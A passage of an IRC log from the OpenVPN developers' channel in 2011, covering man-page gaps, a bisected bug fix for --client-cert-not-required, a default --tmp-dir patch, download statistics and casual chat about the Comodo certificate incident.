well 03:52 <+janjust> this is from scanning the 2.1.4 options.c file - I have no idea what these option do, are supposed to do, or whether they actually work 03:53 <@dazo> I'll send a mail to -devel list and ask for some help here 03:54 <@dazo> if you have the git tree ... it's easy to track where stuff is used by using 'git grep' ... even though normal grep also works, of course ... git grep only checks files in the repository 04:23 <@mattock> mkay, bash beat me for now :) 04:24 <@mattock> it surprisingly hard to get IP addresses from a file (into an array or not) and feed that to grep to get per-IP download stats 04:25 <@dazo> sounds more like a job for awk, python or perl :) 04:28 <+krzee> show me a sample line 04:30 <+krzee> or a few 04:33 <+krzee> mattock 04:50 <@dazo> janjust: This is my collection of things which is not documented in the man page ... http://www.fpaste.org/dyf6/ 05:00 <+janjust> mattock: as krzee says, show us a few lines 05:01 <+janjust> dazo: wow, the man page is even more behind than what 'openvpn --help' shows 05:04 <+janjust> mattock: something like: for ip in `cut -d" " -f1 /var/log/httpd/access_log | sort -u` ; do echo grep $ip some-file ; done 05:37 <@mattock> dazo, krzee: I think I'll ask the guys @company to install some real Apache traffic analysis software 05:38 <@mattock> something like awstats 05:40 <+janjust> mattock: I've used webalizer , works OK 05:40 <+janjust> very easy to install, however 05:41 <@mattock> janjust: you say that as if it were a bad thing :D 05:41 <+janjust> it's not perfect but it does the job 05:41 <@mattock> ok 05:41 <+janjust> if you don't get the statistics you want , however, then I'd have no idea how to change that 05:42 <@mattock> I'll check both awstats and webalizer out 05:43 <+janjust> mattock, lemme send you a pm 05:43 <@mattock> ok 05:50 <@mattock> dazo: any opinions what do we want to know? 05:51 <@dazo> mattock: in regards to what? man page or stats? 05:51 <@mattock> dazo: stats... I'm thinking of 1) downloads per package (exe, tar.gz, tar.xz, zip), 2) unique IPs, 3) top downloads per IP 05:52 <@mattock> for example, FreeBSD ports uses the .xz package, so (almost) every openvpn install on it counts as one download 05:52 <@dazo> downloads per package 05:52 <@dazo> probably with a possibility to filter out multiple downloads from some IPs ... but that's secondary 06:01 <@mattock> I'll check how awstats and webalizer do that... I got on awstats site I can test on 06:08 <@dazo> cool! 06:13 <@mattock> any easy to way to check if this is _really_ fixed now: https://community.openvpn.net/openvpn/ticket/101 06:14 <@vpnHelper> Title: #101 (2.2-RC missing server mode functions on Windows) – OpenVPN Community (at community.openvpn.net) 06:15 <@mattock> did somebody document "--redirect-private" already? 06:16 <@dazo> I don't think so 06:17 <@mattock> ok 06:19 <@mattock> https://community.openvpn.net/openvpn/ticket/107 06:19 <@vpnHelper> Title: #107 (Partially documented option: --redirect-private) – OpenVPN Community (at community.openvpn.net) 06:21 <@dazo> looks good :) 06:21 * dazo awaits the wiki overview page update :p 06:22 <@mattock> https://community.openvpn.net/openvpn/wiki/ManPageUpdatesFor2.2 06:22 <@vpnHelper> Title: ManPageUpdatesFor2.2 – OpenVPN Community (at community.openvpn.net) 06:22 <@mattock> were there completely undocumented options, too? 06:22 <@vpnHelper> RSS Update - tickets: #107: Partially documented option: --redirect-private <https://community.openvpn.net/openvpn/ticket/107> 06:23 <@mattock> not in --help and man? 06:23 <@dazo> yes ... --http-proxy-override and --http-proxy-fallback 06:23 <@dazo> probably some more as well 06:24 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 06:26 <@mattock> added a few explanatory lines: https://community.openvpn.net/openvpn/wiki/ManPageUpdatesFor2.2 06:26 <@vpnHelper> Title: ManPageUpdatesFor2.2 – OpenVPN Community (at community.openvpn.net) 06:26 <@dazo> thx! 06:27 * dazo is a living proof that developers are often not that good at writing docs :-P 06:27 <@dazo> (I so often forget the "obvious" small details) 07:10 <+ecrist> sup d00ds? 09:43 -!- d12fk [~heiko@vpn.astaro.de] has quit [Read error: Connection reset by peer] 09:44 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 09:44 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 09:58 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:30 -!- andj_afk is now known as andj 12:46 -!- dazo is now known as dazo_afk 12:51 -!- psha [~psha@195.135.237.18] has joined #openvpn-devel 13:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:21 -!- psha [~psha@195.135.237.18] has quit [Ping timeout: 248 seconds] 15:37 -!- andj is now known as andj_afk 16:12 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 22:07 * ecrist wonders if md5sum() shouldn't be taken out of the passphrase function of tls-auth, since it's becoming somewhat trivial to create a colison for md5 22:22 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 22:46 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 22:51 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 22:59 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 22:59 -!- mode/#openvpn-devel [+o d457k] by ChanServ 23:00 -!- d12fk [~heiko@vpn.astaro.de] has quit [Ping timeout: 276 seconds] --- Day changed Wed Mar 30 2011 00:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:48 -!- andj_afk is now known as andj 01:08 -!- andj is now known as andj_afk 01:28 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 01:28 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:28 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:39 -!- dazo_afk is now known as dazo 03:17 -!- d457k is now known as d303k 03:27 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 03:27 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 03:27 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:27 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:19 <+janjust> ping dazo 04:19 <@dazo> janjust: pong 04:19 <+janjust> trac ticket #108 is coming up: bug in 2.2rc2 04:20 <+janjust> 2.2 does not honor --client-cert-not-required 04:20 <@dazo> whoops, nasty 04:21 <@dazo> janjust: is this on all more platforms or only one? 04:21 <+janjust> of course, the fully automated regression test suite would also have found this, but I was quicker ;-) 04:21 <@dazo> heh :) 04:22 <+janjust> I just tested it on linux, don't know about other platforms 04:22 <+janjust> original forums posting was a server running Win 2008R2 04:22 <@dazo> okay, that's a good enough indication for me ... mostly if something breaks on Linux, it breaks everywhere ... if something breaks on Windows, it might be Windows only 04:24 <@dazo> janjust: could you please attach test configs to the trac ticket? ... and a quick "how to test it" description? ... just to be sure it is tested in a "proper" way ... if cert/keys are needed, there are sample certs/keys in the source repo too 04:25 <@vpnHelper> RSS Update - tickets: #108: openvpn 2.2rc2 does not like --client-cert-not-required <https://community.openvpn.net/openvpn/ticket/108> 04:25 <+janjust> willdo; you need "a" ca.crt+server.{crt,key} 04:26 <@dazo> sample-keys/ca.crt, sample-keys/server.key, sample-keys/server.crt :) 04:30 <+janjust> dazo: client+server configs added 04:30 <@dazo> janjust: thx a lot! 04:31 <@dazo> let's try git bi-sect then ... to find the offending commit :) 04:32 <+janjust> hehe 04:32 * dazo hopes the field "commit author" do not carry his own name 04:33 <+janjust> I was joking about the regression test suite but this is something I've been thinking about for a while ; I have the hardware for it , but not the time to set it jup 04:33 <+janjust> s/jup/up 04:33 <@dazo> cron2_: wrote a pretty decent test framework as well ... and we just haven't had time to set it up either 04:33 <@dazo> but a regression test suite would have been ideal! 04:35 <@dazo> just to be sure ... you compiled openvpn without any particular ./configure args? 04:36 <+janjust> head -10 config.log : ./configure --disable-selinux 04:36 <+janjust> could have left it enabled but you know how I dislike SE linux :) 04:36 <@dazo> goodie :) in 2.2, it also shows configure args when doing openvpn --version 04:37 <@dazo> I see the auth-pam plugin was enabled ... is that crucial? 04:37 <@dazo> gah, yes 04:38 <@dazo> of course 04:38 <@dazo> Options error: --client-cert-not-required must be used with --management-client-auth, an --auth-user-pass-verify script, or plugin 04:44 <+janjust> you need some form of authentication and this was the easiest one to use for me ('example6-10-server.conf') 04:45 <@dazo> yeah, I figured :) 04:45 <@dazo> git bisect estimates 6 more steps (rebuilds) 04:45 <+janjust> I would have expected the bug to be in ssl.c but I cannot find must related to client-cert or CLIENT_CERT 04:45 <+janjust> strange... 04:46 <@dazo> there are some really well hidden code paths in openvpn :( 04:48 <@dazo> 3 more steps to go 04:50 <+janjust> bingo: ssl.c lines 1877 - 1884 04:50 <+janjust> it's the ENABLE_X509ALTUSERNAME addition 04:50 <@dazo> hmm ... but that should be disabled by default 04:51 <+janjust> even if it's disabled it causes problems - missing curly brackets 04:51 <@dazo> hmm 04:52 <+janjust> in the 2.2 codebase the ssl verify callback is ALWAYS set ; in 2.1.4 it is set unless CLIENT_CERT_NOT_REQUIRED is present 04:53 <@dazo> ahh 04:55 <@dazo> last bisect step now ... and it looks like that's the patch :) 04:55 * dazo goes for lunch 04:57 <+janjust> I moved the ENABLE_X509ALTUSERNAME block down a few lines, recompiled and tested again; I can no longer run it as user 'nobody' for some weird reason but apart from that it works 04:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:31 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 05:36 * dazo is back 05:36 <@dazo> git bisect: 2e8337de248ef0b5b48cbb2964da0d5c3f28b15b is the first bad commit 05:36 <@dazo> that's odd 08:14 <+ecrist> dazo: how hard would be it be to get openvpn to reread it's config file, and NOT kick users that are already connected? 08:14 <@dazo> pretty hard 08:14 <+ecrist> and make the config changes take affect for new users. 08:14 <+ecrist> :( 08:14 <@dazo> if SSL stuff is changed, it would need to reinitialise the whole SSL layer 08:15 <+ecrist> ok, what about for non-SSL stuff? 08:15 <+ecrist> i.e. I've added --client-config-dir or a new push option 08:15 <+ecrist> I suppose it's assumed that changing SSL or mtu/ip/etc would require a full restart 08:16 <+ecrist> but some thing shouldn't 08:16 <@dazo> that kind of stuff would be more doable ... but anything related to networking (port/listen/bind) or SSL, that requires re-establishment 08:16 <+ecrist> like changing log level shouldn't require a restart, there's a huge list of things that could be updated without one, I think, and a relatively small number that would require one 08:18 <@dazo> the problem with the current code, is that the code paths are really not always straight forward to see the consequences ... but re-reading some of the config options should be doable .... however, the whole option parser is pretty magic, it's recursive and used for both parsing command line args, config file *and* options pushed from a server 08:19 <+ecrist> so, maybe this is a feature better suited for 3.x? 08:19 <@dazo> how it works is brilliant ... but it's really tricky to see the consequences changing this code, unfortunately ... that's what makes it harder 08:19 <@dazo> yeah, I think 3.x is appropriate for this 08:20 <+ecrist> it's a huge pain, I know of some large organizations that use openvpn, and changing certain small options requires the whole company go down for a vpn server restart 08:21 <@dazo> I know ... I recently had to installed openvpn on a windows server, to help some people out (they had their server responding to RDP on the Internet) ... and I need to do a few changes there, but now I don't dare restarting the daemon remotely to activate some config changes 08:26 <+ecrist> yeah, it's a bit of a bugger. 08:27 <@dazo> I figured, it's a Windows server ... they need to boot it soon anyway :-P 08:35 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:36 <+ecrist> LOL 09:51 <@mattock> dazo: stop making fun of Windows! Our build box has stayed up _at least_ a month without BSOD/crash! :P 09:52 <@mattock> maybe even more... not enough to grow a UNIX beard, though... 11:24 <@dazo> mattock: fun!?!? is reality fun? :-P 11:26 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 11:27 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:30 <@vpnHelper> RSS Update - tickets: #109: Error not flushed to management interface during FATAL errors <https://community.openvpn.net/openvpn/ticket/109> 11:59 -!- dazo is now known as dazo_afk 13:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:03 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:08 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 13:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:05 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:05 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:20 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:32 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 15:34 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 17:08 -!- andj_afk is now known as andj 23:35 -!- newuser [newuser@119.93.51.34] has joined #openvpn-devel 23:35 < newuser> Hi, I am new here. Can I ask question here? 23:36 -!- newuser [newuser@119.93.51.34] has left #openvpn-devel [] --- Day changed Thu Mar 31 2011 01:05 -!- andj is now known as andj_afk 02:31 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:47 -!- dazo_afk is now known as dazo 03:26 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:26 -!- mode/#openvpn-devel [+v janjust] by ChanServ 03:27 <+janjust> ping dazo 03:27 <@dazo> pong janjust 03:27 <@dazo> just replied to your mail :) 03:27 <+janjust> ah , I was about to ask 03:28 <@dazo> gah, I need to resend it - to get it to the mailing list (sorry about that) 03:28 <+janjust> nah I've got it 03:29 <@dazo> yeah, but it should get rejected - I'm not signed up to the mailing list with my work address :) 03:29 <+janjust> just read it ... makes sense, but a default value for --tmp-dir would be nice: this is again a behavioral change WRT 2.1.4 03:29 <@dazo> it is 03:30 <+janjust> oh I see, yeah, _I_ got the message, the list may not have 03:30 <@dazo> yeah ... and I now just remember why I needed access to the windows build boxes ... to check out what the proper %TMPDIR% statement would be :) 03:30 <+janjust> windows usually has two env vars %TEMP% and %TMP% , normally pointing to the same directory 03:31 <@dazo> which one is the preferred? or should I check for both? If so, in which order? 03:31 <@dazo> for *nix (which is basically the rest), we can default to /tmp 03:31 <+janjust> I'm not sure which one is preferred; I'd go for %TEMP% as that is more Windows-like; %TMP% might have been added to appease vms/unix users 03:32 <@dazo> goodie, I'll do that then 03:32 <+janjust> for *nix I'd make it autoconf-igurable 03:32 <@dazo> good idea! 03:32 <+janjust> (defaulting to /tmp) 03:33 <@dazo> btw ... are you feeling brave enough to ACK this --client-cert-not-req patch? 03:33 <+janjust> hehe well I can confirm that it now works again.... 03:34 <+janjust> the part about the original x509altusername patch that I don't understand is why this global (=bad!) variable x509_username_field needs to be set 03:35 <+janjust> is it required ONLY for the SSL verify_callback? 03:35 <@dazo> yeah, but the possibilities to pass options into that callback are not easy 03:36 <@dazo> I agree, that I'm not too keen on the global variable ... but it might be even more risky beginning to play with the structs the callback function receives 03:37 <+janjust> oh now I see: the only place in the code this var is actually referred to is inside the callback 03:37 <@dazo> Re: giving the patch an ACK ... code wise, it's not a risky change - and it restores the old behaviour ... so if you dare give it an ACK, I'll apply it to the tree ... maybe mattock could be nice to do a new unsigned 03:37 <@dazo> the variable is set in init_ssl() and used in verify_callback(), yes 03:37 <+janjust> I'm giving your patch an ACK (should I send it to openvpn-devel?) 03:38 <@dazo> yes, please :) 03:41 <@dazo> Looking at the structures now ... it might be possible to set this x509_username_field in the tls_session struct ... but that means each session will have this value duplicated (unless using a pointer to a more global variable) ... not sure if I like this approach either 03:41 <+janjust> I don't think we need to worry about this for now, but with the modular rewrite things will need to be more "thread-safe" 03:42 <@dazo> or tls_options, might be a better place ... but still same issue - duplicated values 03:42 <@dazo> agreed 03:42 <@dazo> hmm 03:42 <+janjust> I'd say it's an openvpn session property; is there a global var for that? 03:42 <@dazo> *tmp_dir is defined in tls_options, together with auth_user_pass_verify_script 03:43 <@dazo> I think moving it into tls_options is cleaner 03:44 <+janjust> that's a 2.3 thing, though 03:44 <@dazo> yupp 03:44 <@dazo> I don't want to change something which seems to be stable now (with this last patch) 03:44 <+janjust> I fully agree 03:46 <+janjust> BTW, next week I hope to have time to build my own tap-win32 adapter and take another swing at the DHCPNAK bomb 03:47 <+janjust> I cannot reproduce it with the DBG driver (from the 2.1rc7 release) 03:47 <@dazo> Cool! That'd be great ... I'm sure we can provide you with a build computer as well, mattock just needs to grant you the access 03:48 <+janjust> mattock gave me access already, I have logged in, it's just that I need to create my own tap-win32 devtree on that box 03:48 <@dazo> ahh, cool! 04:34 <@vpnHelper> RSS Update - testtrac: Fix the --client-cert-not-required feature <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=008a18e772bf1854f9a2102bef4b3d5b0a08a66b> 04:36 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 04:36 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 05:18 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 06:38 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 06:39 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:11 <@mattock> hmm, karspersky antivirus 2010 trial: 110MB 07:13 <@dazo> !?!?!???! 07:13 <@mattock> yep 07:13 <@mattock> seems excessive 07:13 <@dazo> yeah, it makes me wonder how much bloatware Kaspersky contains 07:14 <@mattock> yeah, I hope my Win7 test VM does not die because of it 07:14 <@mattock> probably got to ramp up it's memory 07:14 <@dazo> yeah 07:14 <@dazo> A Comodo reseller got hacked ... and the hacker communicates via pastebin ... http://pastebin.com/74KXCaEZ 07:14 <@dazo> he managed to issue certificates for quite some domains 07:15 <@dazo> (mail.google.com, www.google.com, login.yahoo.com, login.skype.com, addons.mozilla.org, and login.live.com) 07:15 <@dazo> Comodo's analysis ... http://www.comodo.com/Comodo-Fraud-Incident-2011-03-23.html 07:22 <@mattock> interesting... the hacker seemed to have a small Napoleon complex :) 07:22 <@dazo> yeah :) 07:23 <@dazo> however, he might be honest and right ... but it smells just as much like a cover-up operation 07:23 <@dazo> Of course, Comodo cannot go out and confirm that his information about them is correct 07:28 <@dazo> mattock: are you using the windows build box? 07:28 <@mattock> nope 07:28 * dazo need to run a few C tests there 07:28 <@mattock> please do 07:28 <@dazo> okay, then I'll jump into it ... I saw there were plenty of RC2 windows open :) 07:40 <@dazo> Interesting ... Visual Studio do not have a profile for C ... only C++ 08:20 <@mattock> kaspersky sure makes Win7 with 1GB mem much slower 08:21 <@mattock> it seems I can run OpenVPN just fine, I'll do a scan to see if it thinks OpenVPN is a root 08:27 <@dazo> goodie 08:28 <@dazo> mattock: If I give you a patch, would you be able to quickly do a test of it on Windows? 08:28 <@mattock> what kind of testing? 08:28 <@dazo> default --tmp-dir 08:28 <@dazo> just to check that it compiles and that default --tmp-dir value looks sane 08:30 <@mattock> a n00b question: how do I verify the value of --tmp-dir? 08:30 <@dazo> start a openvpn server config with --verb 4 :) 08:30 <@dazo> I'm about to complete testing it on Linux now 08:30 <@mattock> ok 08:30 <@mattock> where's the patch? 08:30 <+ecrist> mattock: that's a better questions for the main channel. this is a dev channel 08:30 <+ecrist> :P 08:31 <@mattock> ecrist :P 08:31 <+krzee> hahaha 08:31 <@dazo> lol 08:31 <@mattock> maybe I should be banned? 08:31 <@mattock> :D 08:31 <+krzee> you just wanna get off work early! 08:31 <+krzee> ;] 08:31 <@mattock> yeah 08:31 <+ecrist> 'sorry Francis, I had to ban myself' 08:31 * dazo takes on the grumpy hat 08:31 <@dazo> I considered to kick you out ... but consider this a warning 08:31 * dazo takes off the hat :-P 08:32 <+krzee> hah 08:32 <@dazo> mattock: http://pastebin.com/mQAwBaAD 08:33 <@dazo> ehhh 08:33 <@dazo> nope 08:33 <@mattock> :( 08:33 <@mattock> if you catch my drift... :) 08:33 <@dazo> pastebin killed an #else statement in the result 08:35 <+krzee> can we call the #else kenny? 08:35 <+krzee> those bastards! 08:35 <@dazo> heh 08:35 <@dazo> mattock: http://pastebin.com/xwqKiqk1 08:36 <@mattock> dazo: how urgent is this? is "I'll do this in ~2 hours" fine? 08:36 <@dazo> sure! 08:36 <@mattock> ok 08:36 <@dazo> we probably need it into the final 2.2 release 08:36 <@dazo> to avoid a support wave :) 08:51 <@mattock> ok, no problem, I'll put Kaspersky to work and test the patch 08:51 <@dazo> thx! 08:53 <@mattock> dazo: still logged in to the build comp? 08:53 <@dazo> nope not anymore 08:55 <@mattock> ok 09:04 <@mattock> dazo: it seems logging out from the build comp (by me) was a bad idea 09:04 <@mattock> can you login? 09:04 <@dazo> I can try 09:06 <@dazo> it just disconnects me 09:06 <@mattock> yeah, me too 09:06 <@mattock> logins, but disconnects immediately 09:06 <@dazo> mm 09:06 <@mattock> I logged out because the keymap was messed up 09:06 <@mattock> I wonder if this is a s.c. "feature" in WinXP 09:07 <@mattock> I'll check if I got other user accounts I could try 09:07 <@dazo> yeah, I really struggled with that one ... so I added a S-C-9 to set English 09:07 * dazo is looking up mails from mattock for other login info too :) 09:08 <@mattock> I don't think I have any extra accounts (with password) 09:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:09 <@dazo> it won't accept my login ... which you once said was the ldap stuff 09:14 <@mattock> dazo: winxp's user accounts are local 09:14 <@mattock> only openvpn uses LDAP auth 09:14 <@dazo> ahh, okay ... I saw you had created an account for me there ... but I couldn't find a password from you 09:15 <@mattock> I'll try to launch ms-dos prompt (see man rdesktop, -s switch) instead of Explorer 09:15 <@mattock> interesting problem... 09:15 <@dazo> heh ... yeah ... maybe it needs to be rebooted? :-P 09:17 <@mattock> hmm, yes... maybe I can do it remotely 09:17 <@mattock> if not, I'll ask Andrew to do it 09:17 <@dazo> :) 09:20 <@mattock> no luck shutting it down remotely 09:20 <@mattock> patch testing will have to wait, then... I guess it just needs a reboot 09:20 <@mattock> I'd guess there's something wrong with my personal settings... it fails when starting to load those 09:21 <@mattock> btw. the "critical area scan" in Kaspersky did not think openvpn (2.2-RC2) is a rootkit 09:21 <@mattock> it _did_ scan openvpn.exe 09:21 <@mattock> I'm doing a full scan, just in case 09:21 <@mattock> on Win7 64-bit 09:21 <@dazo> cool 09:22 <@dazo> maybe it's the TAP driver it kicks on then? 09:22 <@mattock> we'll see 09:22 <@mattock> or maybe we need the full version, not just the antivirus part 09:24 <@dazo> might be 09:34 <@mattock> full scan should be complete in ~1 hour 09:58 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:05 -!- andj_afk is now known as andj 10:17 <@vpnHelper> RSS Update - tickets: #110: openvpnserv.exe does not exit even if there are no openvpn.exe processes <https://community.openvpn.net/openvpn/ticket/110> 10:50 < cron2_> meeting today? 10:59 <@dazo> uhh ... I had forgotten about that ... but I'm available at 18:00 UTC ... which basically means 20:00 CEST 10:59 <@mattock> cron2_: don't think so, nobody has asked for one 11:00 <@dazo> sounds good enough for me 11:00 <@mattock> maybe next week we should start preparing for 2.2 final 11:00 <@dazo> yeah 11:01 < cron2_> next week soudns good 11:01 * cron2_ is not too eager about a meeting today anyway :) 11:02 <@dazo> I'd suggest that we see how 2.2-RC2 is working next week ... discuss what to do with the documentation stuff lacking (not big enthusiasm contributing there so far) 11:03 <@dazo> When the default tmpdir patch is smoke-tested and ACKed that can go in before that release too (which I consider important to get in) 11:06 <@dazo> mattock: there is one more thing we should have fixed as well .... looking at git commit 77d24405096452541700fb24aacd6f8a589fce3b 11:06 <@dazo> Temporary snprintf-related fix to service-win32/openvpnserv.c 11:16 -!- dazo is now known as dazo_afk 11:27 -!- andj is now known as andj_afk 11:27 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 11:28 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:50 -!- andj_afk is now known as andj 13:41 -!- andj is now known as andj_afk 14:41 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:15 -!- andj_afk is now known as andj 15:19 -!- andj is now known as andj_afk 15:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 15:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:51 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Fri Apr 01 2011 00:35 -!- andj_afk is now known as andj 01:11 -!- andj is now known as andj_afk 02:30 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:27 -!- dazo_afk is now known as dazo 04:02 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 04:03 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 04:27 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:30 <@dazo> mattock: did you manage to get contact with the build box again yesterday? 06:48 <@mattock> dazo: andrew rebooted it and now it works 06:49 <@dazo> mattock: cool! have you had a chance to check the patch? 06:49 <@mattock> somehow it thought I was logged in, but noticed it only after authentication 06:49 <@mattock> not yet, I'll try to check it out in an hour or so 07:37 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 10:46 -!- psha_ [~psha@213.208.162.69] has joined #openvpn-devel 10:46 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 10:46 -!- psha_ is now known as psha 12:04 -!- andj_afk is now known as andj 12:20 < Essobi> Hmm.. 12:20 < Essobi> Think I found a slight bug in the windows installer. 12:29 < Essobi> It would appear if you run the installer with /S and there is already a previous install running as a service.. it doesn't re-install as a service. 12:30 <@dazo> hmmmm, could you file a bug with that one in Trac, Essobi? 12:32 < Essobi> I'd like to see if someone could test it first.. or see if I can find another machine to test with. 12:33 < Essobi> It might be due to the NSIS wrapper installer that I'm using. 12:33 < Essobi> well.. it's a possibility. 12:33 <@dazo> try to ask in #openvpn ... I don't have any Windows boxes available 12:33 < Essobi> It's the 2.2-RC candidate btw.. 12:33 < Essobi> roger that 12:33 <@dazo> RC or RC2? 12:33 < Essobi> RC. 12:34 <@dazo> okay, we released RC2 a week ago, so might be worth looking at too 12:35 <@dazo> even though, the NSIS stuff shouldn't have changed during that time 12:35 < Essobi> right 12:48 -!- andj is now known as andj_afk 13:09 -!- andj_afk is now known as andj 13:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:01 -!- andj is now known as andj_afk 14:27 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:27 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:39 <@dazo> jamesyonan: hey! Do you have time for a quick question regarding the --tmp-dir option? 14:39 <@jamesyonan> sure 14:40 <@dazo> I'm working on a patch which sets a default value for options.tmp_dir ... default is NULL now. This is to avoid issues where --client-connect and other auth hooks will create such openvpn_cc_* files in CWD, which might not be writeable by the openvpn process 14:41 <@dazo> And I noticed that you have a check where it complains and halts execution if using --tmp-dir in client mode 14:41 <@dazo> is there a reason for that? 14:42 <@dazo> (the default values will be /tmp for non-Windows, and using %TEMP% and %TMP% (with C:\WINDOWS\Temp as a fallback) on Windows 14:43 <@jamesyonan> I think you can remove that check -- it's okay to use --tmp-dir on either client or server 14:44 <@dazo> Goodie! Then I'll do that .. thanks alot! 14:49 -!- dazo is now known as dazo_afk 15:10 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:59 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 255 seconds] 16:11 -!- krzie is now known as krzee 16:11 <+krzee> [14:11] * krzie has changed the topic to: openvpn was purchased by microsoft, it will only support PTP soon, have a nice day =] 16:11 <+krzee> ok maybe that was too obvious 16:11 <+krzee> lol 16:12 <+krzee> happy april fools guys =] 16:51 -!- jamesyonan [~jamesyona@c-98-245-80-250.hsd1.co.comcast.net] has joined #openvpn-devel 16:51 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:19 -!- jamesyonan [~jamesyona@c-98-245-80-250.hsd1.co.comcast.net] has quit [Ping timeout: 276 seconds] 17:33 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 17:33 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 21:43 < Essobi> krzee: happy april 1st! 21:43 < Dark-Fx> you FOOLS 21:50 <+krzee> =] --- Day changed Sat Apr 02 2011 00:14 -!- andj_afk is now known as andj 00:35 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:50 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:50 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:34 -!- d303k [~heiko@vpn.astaro.de] has quit [Ping timeout: 248 seconds] 01:39 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+o d303k] by ChanServ 02:52 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 03:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:45 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 12:49 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined 